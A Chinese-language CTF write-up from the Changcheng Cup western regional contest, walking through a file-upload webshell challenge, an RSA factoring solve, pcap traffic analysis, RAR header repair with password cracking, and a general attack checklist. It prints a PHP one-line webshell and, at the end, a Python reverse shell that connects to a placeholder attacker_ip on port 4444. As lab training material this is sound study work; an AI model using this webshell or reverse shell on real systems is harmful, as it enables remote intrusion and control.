长城杯CTF西部赛区实战解析:从Web渗透到RSA破解

长城杯CTF西部赛区实战解析:从Web渗透到RSA破解 1. Black Web漏洞利用实战这次长城杯西部赛区的Black Web题目设计得非常典型我拿到题目时发现是个标准的文件上传漏洞场景。题目环境搭建在192.168.16.45:8000端口页面上传点对文件类型几乎没有做任何校验这让我想起很多真实世界中的老旧系统。我先用最简单的PHP一句话木马测试?php eval($_POST[cmd]);?保存为1711779736.php上传后直接在浏览器访问/uploads/1711779736.php返回空白页说明执行成功。这里有个细节要注意——很多CTF题目会故意设置特殊的上传路径需要观察页面源码或尝试常见目录。连接蚁剑时遇到个小坑题目服务器配置了特殊的header校验需要在连接配置里添加自定义HTTP头。成功连接后我在/var/www/html目录下发现了个有趣的文件u_c4nt_find_flag.php。这种带嘲讽性质的文件名在CTF中往往是flag的藏身之处打开后果真发现了base64编码的flag。关键技巧遇到上传漏洞时先测试服务器解析逻辑比如.htaccess文件覆盖蚁剑连接失败时尝试修改User-Agent或添加X-Forwarded-For头Linux系统下记得检查/var/www/html、/tmp等常见目录2. BabyRSA2密码破解全流程这道RSA题目给出了模数N的十六进制值C2636AE5C3D8E43FFB97AB09028F1AAC6C0BF6CD3D70EBCA281BFFE97FBE30DD。我第一反应是用Python的Crypto库处理from Crypto.Util.number import long_to_bytes, bytes_to_long n_hex C2636AE5C3D8E43FFB97AB09028F1AAC6C0BF6CD3D70EBCA281BFFE97FBE30DD n int(n_hex, 16)把十六进制转十进制后我习惯先用factordb.com查是否已有分解记录。运气不错这个N已经被收录p 275127860351348928173285174381581152299 q 319576316814478949870590164193048041239有了p和q接下来就是标准RSA解密流程计算φ(n) (p-1)*(q-1)求模反元素d ≡ e^(-1) mod φ(n)用私钥解密 ciphertext^d mod n完整解密脚本import gmpy2 from Crypto.PublicKey import RSA p 275127860351348928173285174381581152299 q 319576316814478949870590164193048041239 e 65537 n p * q phi (p-1)*(q-1) d gmpy2.invert(e, phi) with open(flag.enc, rb) as f: c bytes_to_long(f.read()) m pow(c, d, n) print(long_to_bytes(m))运行后得到flag{imdidi???}。这里特别提醒实际比赛中经常遇到大数运算推荐使用gmpy2库而不是Python原生运算速度能快几十倍。3. APISIX-FLOW流量分析技巧这道网络流量分析题给的pcap文件比较大我用的Wireshark 3.6版本打开。首先过滤http流量http.request.method POST发现几个可疑的POST请求含有cmd字样这明显是攻击者执行的命令注入。追踪TCP流快捷键CtrlAltShiftT时重点看21195端口的数据流因为这是题目提示的靶机端口。关键步骤在Follow TCP Stream窗口切换显示格式为ASCII找到服务器响应中的base32编码字符串使用CyberChef工具自动解码echo BASE32_STRING | base32 -d有个容易忽略的细节部分base32字符串可能被Wireshark显示为换行截断需要手动拼接完整。我在这里卡了15分钟才发现这个问题。4. Cloacked文件隐写实战这道misc题目考察文件格式分析能力。先用hex编辑器查看文件头发现部分匹配RAR签名但又不完全正确。我用的工具是010 Editor关键观察点正确RAR文件头52 61 72 21 1A 07 00题目文件头45 23 61 72 21 1A 07 00显然前两个字节被修改了。修复步骤用dd命令或hex编辑器修改前两个字节使用binwalk检查修复后的文件binwalk -e repaired.rar爆破密码时我用的是rarcrackrarcrack --threads 4 --type rar encrypted.rar这个工具会自动尝试数字、字母组合。在4核CPU上跑8位纯数字密码大约需要20分钟。最终密码88488解压后得到图片文件用stegsolve分析LSB通道发现flag。经验分享文件修复前先备份原始文件爆破密码时优先尝试4-6位数字组合CRC32爆破可以用pngcheck工具辅助5. CTF竞赛的通用解题框架通过这几道题我总结出CTF的通用解题思路信息收集阶段全端口扫描nmap -sV -p-目录爆破dirsearch或gobuster源代码审查开发者工具和View-source漏洞利用阶段Web题优先测试SSTI、SQLi、文件上传Pwn题检查保护机制checksecCrypto题先用factordb查已知分解后渗透阶段寻找敏感文件/proc/self/environ检查sudo权限sudo -l尝试提权LinPEAS.sh比如在这次比赛中如果Black Web题目蚁剑连接失败我会尝试用python反向shellimport socket,subprocess,os ssocket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((attacker_ip,4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) psubprocess.call([/bin/sh,-i])这种多手准备在实战中非常重要我经常在本地搭建类似环境预演各种情况。CTF比赛最忌讳的就是死磕一种解法有时候换个思路就能柳暗花明。